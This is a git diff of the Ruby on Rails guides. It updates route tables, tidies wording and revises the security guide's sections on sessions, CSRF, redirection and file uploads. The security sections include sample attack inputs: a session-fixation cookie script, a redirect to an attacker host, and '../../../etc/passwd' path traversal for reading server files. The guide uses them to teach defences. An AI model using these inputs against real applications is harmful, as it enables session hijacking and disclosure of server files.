`app/controllers/admin` directory, and you can group them together in your router: @@ -177,15 +189,15 @@ end This will create a number of routes for each of the `posts` and `comments` controller. For `Admin::PostsController`, Rails will create: -| HTTP Verb | Path | Action | Used for | -| --------- | --------------------- | ------- | ------------------------- | -| GET | /admin/posts | index | admin_posts_path | -| GET | /admin/posts/new | new | new_admin_post_path | -| POST | /admin/posts | create | admin_posts_path | -| GET | /admin/posts/:id | show | admin_post_path(:id) | -| GET | /admin/posts/:id/edit | edit | edit_admin_post_path(:id) | -| PATCH/PUT | /admin/posts/:id | update | admin_post_path(:id) | -| DELETE | /admin/posts/:id | destroy | admin_post_path(:id) | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | --------------------- | ------------------- | ------------------------- | +| GET | /admin/posts | admin/posts#index | admin_posts_path | +| GET | /admin/posts/new | admin/posts#new | new_admin_post_path | +| POST | /admin/posts | admin/posts#create | admin_posts_path | +| GET | /admin/posts/:id | admin/posts#show | admin_post_path(:id) | +| GET | /admin/posts/:id/edit | admin/posts#edit | edit_admin_post_path(:id) | +| PATCH/PUT | /admin/posts/:id | admin/posts#update | admin_post_path(:id) | +| DELETE | /admin/posts/:id | admin/posts#destroy | admin_post_path(:id) | If you want to route `/posts` (without the prefix `/admin`) to `Admin::PostsController`, you could use: @@ -217,15 +229,15 @@ resources :posts, path: '/admin/posts' In each of these cases, the named routes remain the same as if you did not use `scope`. In the last case, the following paths map to `PostsController`: -| HTTP Verb | Path | Action | Named Helper | -| --------- | --------------------- | ------- | ------------------- | -| GET | /admin/posts | index | posts_path | -| GET | /admin/posts/new | new | new_post_path | -| POST | /admin/posts | create | posts_path | -| GET | /admin/posts/:id | show | post_path(:id) | -| GET | /admin/posts/:id/edit | edit | edit_post_path(:id) | -| PATCH/PUT | /admin/posts/:id | update | post_path(:id) | -| DELETE | /admin/posts/:id | destroy | post_path(:id) | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | --------------------- | ----------------- | ------------------- | +| GET | /admin/posts | posts#index | posts_path | +| GET | /admin/posts/new | posts#new | new_post_path | +| POST | /admin/posts | posts#create | posts_path | +| GET | /admin/posts/:id | posts#show | post_path(:id) | +| GET | /admin/posts/:id/edit | posts#edit | edit_post_path(:id) | +| PATCH/PUT | /admin/posts/:id | posts#update | post_path(:id) | +| DELETE | /admin/posts/:id | posts#destroy | post_path(:id) | ### Nested Resources @@ -251,15 +263,15 @@ end In addition to the routes for magazines, this declaration will also route ads to an `AdsController`. The ad URLs require a magazine: -| HTTP Verb | Path | Action | Used for | -| --------- | ------------------------------------ | ------- | -------------------------------------------------------------------------- | -| GET | /magazines/:magazine_id/ads | index | display a list of all ads for a specific magazine | -| GET | /magazines/:magazine_id/ads/new | new | return an HTML form for creating a new ad belonging to a specific magazine | -| POST | /magazines/:magazine_id/ads | create | create a new ad belonging to a specific magazine | -| GET | /magazines/:magazine_id/ads/:id | show | display a specific ad belonging to a specific magazine | -| GET | /magazines/:magazine_id/ads/:id/edit | edit | return an HTML form for editing an ad belonging to a specific magazine | -| PATCH/PUT | /magazines/:magazine_id/ads/:id | update | update a specific ad belonging to a specific magazine | -| DELETE | /magazines/:magazine_id/ads/:id | destroy | delete a specific ad belonging to a specific magazine | +| HTTP Verb | Path | Controller#Action | Used for | +| --------- | ------------------------------------ | ----------------- | -------------------------------------------------------------------------- | +| GET | /magazines/:magazine_id/ads | ads#index | display a list of all ads for a specific magazine | +| GET | /magazines/:magazine_id/ads/new | ads#new | return an HTML form for creating a new ad belonging to a specific magazine | +| POST | /magazines/:magazine_id/ads | ads#create | create a new ad belonging to a specific magazine | +| GET | /magazines/:magazine_id/ads/:id | ads#show | display a specific ad belonging to a specific magazine | +| GET | /magazines/:magazine_id/ads/:id/edit | ads#edit | return an HTML form for editing an ad belonging to a specific magazine | +| PATCH/PUT | /magazines/:magazine_id/ads/:id | ads#update | update a specific ad belonging to a specific magazine | +| DELETE | /magazines/:magazine_id/ads/:id | ads#destroy | delete a specific ad belonging to a specific magazine | This will also create routing helpers such as `magazine_ads_url` and `edit_magazine_ad_path`. These helpers take an instance of Magazine as the first parameter (`magazine_ads_url(@magazine)`). @@ -326,7 +338,7 @@ shallow do end ``` -There exists two options for `scope` to customize shallow routes. `:shallow_path` prefixes member paths with the specified parameter: +There exist two options for `scope` to customize shallow routes. `:shallow_path` prefixes member paths with the specified parameter: ```ruby scope shallow_path: "sekret" do @@ -338,15 +350,15 @@ end The comments resource here will have the following routes generated for it: -| HTTP Verb | Path | Named Helper | -| --------- | -------------------------------------- | ------------------- | -| GET | /posts/:post_id/comments(.:format) | post_comments | -| POST | /posts/:post_id/comments(.:format) | post_comments | -| GET | /posts/:post_id/comments/new(.:format) | new_post_comment | -| GET | /sekret/comments/:id/edit(.:format) | edit_comment | -| GET | /sekret/comments/:id(.:format) | comment | -| PATCH/PUT | /sekret/comments/:id(.:format) | comment | -| DELETE | /sekret/comments/:id(.:format) | comment | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | -------------------------------------- | ----------------- | ------------------- | +| GET | /posts/:post_id/comments(.:format) | comments#index | post_comments | +| POST | /posts/:post_id/comments(.:format) | comments#create | post_comments | +| GET | /posts/:post_id/comments/new(.:format) | comments#new | new_post_comment | +| GET | /sekret/comments/:id/edit(.:format) | comments#edit | edit_comment | +| GET | /sekret/comments/:id(.:format) | comments#show | comment | +| PATCH/PUT | /sekret/comments/:id(.:format) | comments#update | comment | +| DELETE | /sekret/comments/:id(.:format) | comments#destroy | comment | The `:shallow_prefix` option adds the specified parameter to the named helpers: @@ -360,19 +372,19 @@ end The comments resource here will have the following routes generated for it: -| HTTP Verb | Path | Named Helper | -| --------- | -------------------------------------- | ------------------- | -| GET | /posts/:post_id/comments(.:format) | post_comments | -| POST | /posts/:post_id/comments(.:format) | post_comments | -| GET | /posts/:post_id/comments/new(.:format) | new_post_comment | -| GET | /comments/:id/edit(.:format) | edit_sekret_comment | -| GET | /comments/:id(.:format) | sekret_comment | -| PATCH/PUT | /comments/:id(.:format) | sekret_comment | -| DELETE | /comments/:id(.:format) | sekret_comment | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | -------------------------------------- | ----------------- | ------------------- | +| GET | /posts/:post_id/comments(.:format) | comments#index | post_comments | +| POST | /posts/:post_id/comments(.:format) | comments#create | post_comments | +| GET | /posts/:post_id/comments/new(.:format) | comments#new | new_post_comment | +| GET | /comments/:id/edit(.:format) | comments#edit | edit_sekret_comment | +| GET | /comments/:id(.:format) | comments#show | sekret_comment | +| PATCH/PUT | /comments/:id(.:format) | comments#update | sekret_comment | +| DELETE | /comments/:id(.:format) | comments#destroy | sekret_comment | ### Routing concerns -Routing Concerns allows you to declare common routes that can be reused inside others resources and routes. To define a concern: +Routing Concerns allows you to declare common routes that can be reused inside other resources and routes. To define a concern: ```ruby concern :commentable do @@ -473,7 +485,10 @@ end This will recognize `/photos/1/preview` with GET, and route to the `preview` action of `PhotosController`, with the resource id value passed in `params[:id]`. It will also create the `preview_photo_url` and `preview_photo_path` helpers. -Within the block of member routes, each route name specifies the HTTP verb that it will recognize. You can use `get`, `patch`, `put`, `post`, or `delete` here. If you don't have multiple `member` routes, you can also pass `:on` to a route, eliminating the block: +Within the block of member routes, each route name specifies the HTTP verb +will be recognized. You can use `get`, `patch`, `put`, `post`, or `delete` here +. If you don't have multiple `member` routes, you can also pass `:on` to a +route, eliminating the block: ```ruby resources :photos do @@ -761,11 +776,11 @@ You can also reuse dynamic segments from the match in the path to redirect to: get '/stories/:name', to: redirect('/posts/%{name}') ``` -You can also provide a block to redirect, which receives the params and the request object: +You can also provide a block to redirect, which receives the symbolized path parameters and the request object: ```ruby -get '/stories/:name', to: redirect {|params, req| "/posts/#{params[:name].pluralize}" } -get '/stories', to: redirect {|p, req| "/posts/#{req.subdomain}" } +get '/stories/:name', to: redirect {|path_params, req| "/posts/#{path_params[:name].pluralize}" } +get '/stories', to: redirect {|path_params, req| "/posts/#{req.subdomain}" } ``` Please note that this redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible. @@ -797,7 +812,7 @@ You should put the `root` route at the top of the file, because it is the most p NOTE: The `root` route only routes `GET` requests to the action. -You can also use root inside namespaces and scopes as well. For example: +You can also use root inside namespaces and scopes as well. For example: ```ruby namespace :admin do @@ -830,15 +845,15 @@ resources :photos, controller: 'images' will recognize incoming paths beginning with `/photos` but route to the `Images` controller: -| HTTP Verb | Path | Action | Named Helper | -| --------- | ---------------- | ------- | -------------------- | -| GET | /photos | index | photos_path | -| GET | /photos/new | new | new_photo_path | -| POST | /photos | create | photos_path | -| GET | /photos/:id | show | photo_path(:id) | -| GET | /photos/:id/edit | edit | edit_photo_path(:id) | -| PATCH/PUT | /photos/:id | update | photo_path(:id) | -| DELETE | /photos/:id | destroy | photo_path(:id) | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | ---------------- | ----------------- | -------------------- | +| GET | /photos | images#index | photos_path | +| GET | /photos/new | images#new | new_photo_path | +| POST | /photos | images#create | photos_path | +| GET | /photos/:id | images#show | photo_path(:id) | +| GET | /photos/:id/edit | images#edit | edit_photo_path(:id) | +| PATCH/PUT | /photos/:id | images#update | photo_path(:id) | +| DELETE | /photos/:id | images#destroy | photo_path(:id) | NOTE: Use `photos_path`, `new_photo_path`, etc. to generate paths for this resource. @@ -851,8 +866,8 @@ resources :user_permissions, controller: 'admin/user_permissions' This will route to the `Admin::UserPermissions` controller. NOTE: Only the directory notation is supported. Specifying the -controller with ruby constant notation (eg. `:controller => -'Admin::UserPermissions'`) can lead to routing problems and results in +controller with Ruby constant notation (eg. `controller: 'Admin::UserPermissions'`) +can lead to routing problems and results in a warning. ### Specifying Constraints @@ -888,15 +903,15 @@ resources :photos, as: 'images' will recognize incoming paths beginning with `/photos` and route the requests to `PhotosController`, but use the value of the :as option to name the helpers. -| HTTP Verb | Path | Action | Named Helper | -| --------- | ---------------- | ------- | -------------------- | -| GET | /photos | index | images_path | -| GET | /photos/new | new | new_image_path | -| POST | /photos | create | images_path | -| GET | /photos/:id | show | image_path(:id) | -| GET | /photos/:id/edit | edit | edit_image_path(:id) | -| PATCH/PUT | /photos/:id | update | image_path(:id) | -| DELETE | /photos/:id | destroy | image_path(:id) | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | ---------------- | ----------------- | -------------------- | +| GET | /photos | photos#index | images_path | +| GET | /photos/new | photos#new | new_image_path | +| POST | /photos | photos#create | images_path | +| GET | /photos/:id | photos#show | image_path(:id) | +| GET | /photos/:id/edit | photos#edit | edit_image_path(:id) | +| PATCH/PUT | /photos/:id | photos#update | image_path(:id) | +| DELETE | /photos/:id | photos#destroy | image_path(:id) | ### Overriding the `new` and `edit` Segments @@ -993,15 +1008,15 @@ end Rails now creates routes to the `CategoriesController`. -| HTTP Verb | Path | Action | Used for | -| --------- | -------------------------- | ------- | ----------------------- | -| GET | /kategorien | index | categories_path | -| GET | /kategorien/neu | new | new_category_path | -| POST | /kategorien | create | categories_path | -| GET | /kategorien/:id | show | category_path(:id) | -| GET | /kategorien/:id/bearbeiten | edit | edit_category_path(:id) | -| PATCH/PUT | /kategorien/:id | update | category_path(:id) | -| DELETE | /kategorien/:id | destroy | category_path(:id) | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | -------------------------- | ------------------ | ----------------------- | +| GET | /kategorien | categories#index | categories_path | +| GET | /kategorien/neu | categories#new | new_category_path | +| POST | /kategorien | categories#create | categories_path | +| GET | /kategorien/:id | categories#show | category_path(:id) | +| GET | /kategorien/:id/bearbeiten | categories#edit | edit_category_path(:id) | +| PATCH/PUT | /kategorien/:id | categories#update | category_path(:id) | +| DELETE | /kategorien/:id | categories#destroy | category_path(:id) | ### Overriding the Singular Form diff --git a/guides/source/ruby_on_rails_guides_guidelines.md b/guides/source/ruby_on_rails_guides_guidelines.md index 136dfb4cae..8faf03e58c 100644 --- a/guides/source/ruby_on_rails_guides_guidelines.md +++ b/guides/source/ruby_on_rails_guides_guidelines.md @@ -51,7 +51,7 @@ Use the same typography as in regular text: API Documentation Guidelines ---------------------------- -The guides and the API should be coherent and consistent where appropriate. Please have a look at these particular sections of the [API Documentation Guidelines](api_documentation_guidelines.html:) +The guides and the API should be coherent and consistent where appropriate. Please have a look at these particular sections of the [API Documentation Guidelines](api_documentation_guidelines.html): * [Wording](api_documentation_guidelines.html#wording) * [Example Code](api_documentation_guidelines.html#example-code) @@ -63,6 +63,10 @@ Those guidelines apply also to guides. HTML Guides ----------- +Before generating the guides, make sure that you have the latest version of Bundler installed on your system. As of this writing, you must install Bundler 1.3.5 on your device. + +To install the latest version of Bundler, simply run the `gem install bundler` command + ### Generation To generate all the guides, just `cd` into the `guides` directory, run `bundle install` and execute: diff --git a/guides/source/security.md b/guides/source/security.md index d56ce47b3c..21cc3deb8a 100644 --- a/guides/source/security.md +++ b/guides/source/security.md @@ -1,4 +1,4 @@ -Ruby On Rails Security Guide +Ruby on Rails Security Guide ============================ This manual describes common security problems in web applications and how to avoid them with Rails. @@ -17,7 +17,7 @@ After reading this guide, you will know: Introduction ------------ -Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security. +Web application frameworks are made to help developers build web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security. In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications). @@ -58,7 +58,7 @@ WARNING: _Stealing a user's session id lets an attacker use the web application Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session. -Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures: +Hence, the cookie serves as temporary authentication for the web application. Anyone who seizes a cookie from someone else, may use the web application as this user - with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures: * Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to _provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file: @@ -70,9 +70,9 @@ Hence, the cookie serves as temporary authentication for the web application. Ev * Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later. -* Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later. +* Instead of stealing a cookie unknown to the attacker, they fix a user's session identifier (in the cookie) known to them. Read more about this so-called session fixation later. -The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf). +The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf). ### Session Guidelines @@ -93,7 +93,7 @@ Rails 2 introduced a new default session storage, CookieStore. CookieStore saves * The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie. -That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. +That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA1, for compatibility). So _don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. `config.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `config.secret_key_base` initialized to a random key in `config/initializers/secret_token.rb`, e.g.: @@ -111,9 +111,9 @@ It works like this: * A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes). * The user buys something. -* His new, lower credit will be stored in the session. -* The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser. -* The user has his credit back. +* Their new, lower credit will be stored in the session. +* The dark side of the user forces them to take the cookie from the first step (which they copied) and replace the current cookie in the browser. +* The user has their credit back. Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database). @@ -121,20 +121,20 @@ The best _solution against it is not to store this kind of data in a session, bu ### Session Fixation -NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._ +NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to them. This is called session fixation._ ![Session fixation](images/session_fixation.png) This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works: -* The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image). -* He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive. +* The attacker creates a valid session id: They load the login page of the web application where they want to fix the session, and take the session id in the cookie from the response (see number 1 and 2 in the image). +* They possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore they access the web application from time to time in order to keep the session alive. * Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on. * The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id. * As the new trap session is unused, the web application will require the user to authenticate. * From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack. -### Session Fixation – Countermeasures +### Session Fixation - Countermeasures TIP: _One line of code will protect you from session fixation._ @@ -187,11 +187,11 @@ In the <a href="#sessions">session chapter</a> you have learned that most Rails * Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago. * By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id. * The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image. -* Bob doesn't notice the attack — but a few days later he finds out that project number one is gone. +* Bob doesn't notice the attack - but a few days later he finds out that project number one is gone. -It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email. +It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere - in a forum, blog post or email. -CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) — less than 0.1% in 2006 — but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – _CSRF is an important security issue_. +CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) - less than 0.1% in 2006 - but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work - _CSRF is an important security issue_. ### CSRF Countermeasures @@ -230,13 +230,15 @@ Or the attacker places the code into the onmouseover event handler of an image: <img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." /> ``` -There are many other possibilities, including Ajax to attack the victim in the background.
The _solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller: +There are many other possibilities, like using a `<script>` tag to make a cross-site request to a URL with a JSONP or JavaScript response. The response is executable code that the attacker can find a way to run, possibly extracting sensitive data. To protect against this data leakage, we disallow cross-site `<script>` tags. Only Ajax requests may have JavaScript responses since XmlHttpRequest is subject to the browser Same-Origin policy - meaning only your site can initiate the request. + +To protect against all other forged requests, we introduce a _required security token_ that our site knows but other sites don't know. We include the security token in requests and verify it on the server. This is a one-liner in your application controller: ```ruby -protect_from_forgery secret: "123456789012345678901234567890..." +protect_from_forgery ``` -This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. If the security token doesn't match what was expected, the session will be reset. **Note:** In Rails versions prior to 3.0.4, this raised an `ActionController::InvalidAuthenticityToken` error. +This will automatically include a security token in all forms and Ajax requests generated by Rails. If the security token doesn't match what was expected, the session will be reset. It is common to use persistent cookies to store user information, with `cookies.permanent` for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself: @@ -249,7 +251,7 @@ end The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present on a non-GET request. -Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later. +Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so they can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later. Redirection and Files --------------------- @@ -258,7 +260,7 @@ Another class of security vulnerabilities surrounds the use of redirection and f ### Redirection -WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._ +WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, they may also create a self-contained attack._ Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action: @@ -268,7 +270,7 @@ def legacy end ``` -This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL: +This will redirect the user to the main action if they tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by attacker if they included a host key in the URL: ``` http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com @@ -288,9 +290,9 @@ This example is a Base64 encoded JavaScript which displays a simple message box. NOTE: _Make sure file uploads don't overwrite important files, and process media files asynchronously._ -Many web applications allow users to upload files. _File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user. +Many web applications allow users to upload files. _File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like "../../../etc/passwd", it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so - one more reason to run web servers, database servers and other programs as a less privileged Unix user. -When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which _checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the [attachment_fu plugin](https://github.com/technoweenie/attachment_fu/tree/master:) +When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all "../" in a file name and an attacker uses a string such as "....//" - the result will be "../". It is best to use a whitelist approach, which _checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the [attachment_fu plugin](https://github.com/technoweenie/attachment_fu/tree/master): ```ruby def sanitize_filename(filename) @@ -313,7 +315,7 @@ The solution to this is best to _process media files asynchronously_: Save the m WARNING: _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory._ -The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file. +The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file "file.cgi" with code in it, which will be executed when someone downloads the file. _If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards. @@ -327,7 +329,7 @@ Just as you have to filter file names for uploads, you have to do so for downloa send_file('/var/www/uploads/' + params[:filename]) ``` -Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to _check that the requested file is in the expected directory_: +Simply pass a file name like "../../../etc/passwd" to download the server's login information. A simple solution against this, is to _check that the requested file is in the expected directory_: ```ruby basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files')) @@ -346,17 +348,17 @@ Intranet and administration interfaces are popular attack targets, because they In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.
-**XSS** If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS. +**XSS** If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS. Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer. Refer to the Injection section for countermeasures against XSS. It is _recommended to use the SafeErb plugin_ also in an Intranet or administration interface. -**CSRF** Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface. +**CSRF** Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface. -A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen. +A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had their credentials stolen. -Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.
+Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change their credentials.
Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination. @@ -379,7 +381,7 @@ NOTE: _Almost every web application has to deal with authorization and authentic There are a number of authentication plug-ins for Rails available. Good ones, such as the popular [devise](https://github.com/plataformatec/devise) and [authlogic](https://github.com/binarylogic/authlogic), store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in `has_secure_password` method which has similar features. -Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator): +Every new user gets an activation code to activate their account when they get an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, they would be logged in as the first activated user found in the database (and chances are that this is the administrator): ``` http://localhost:3006/user/activate @@ -398,7 +400,7 @@ If the parameter was nil, the resulting SQL query will be SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1 ``` 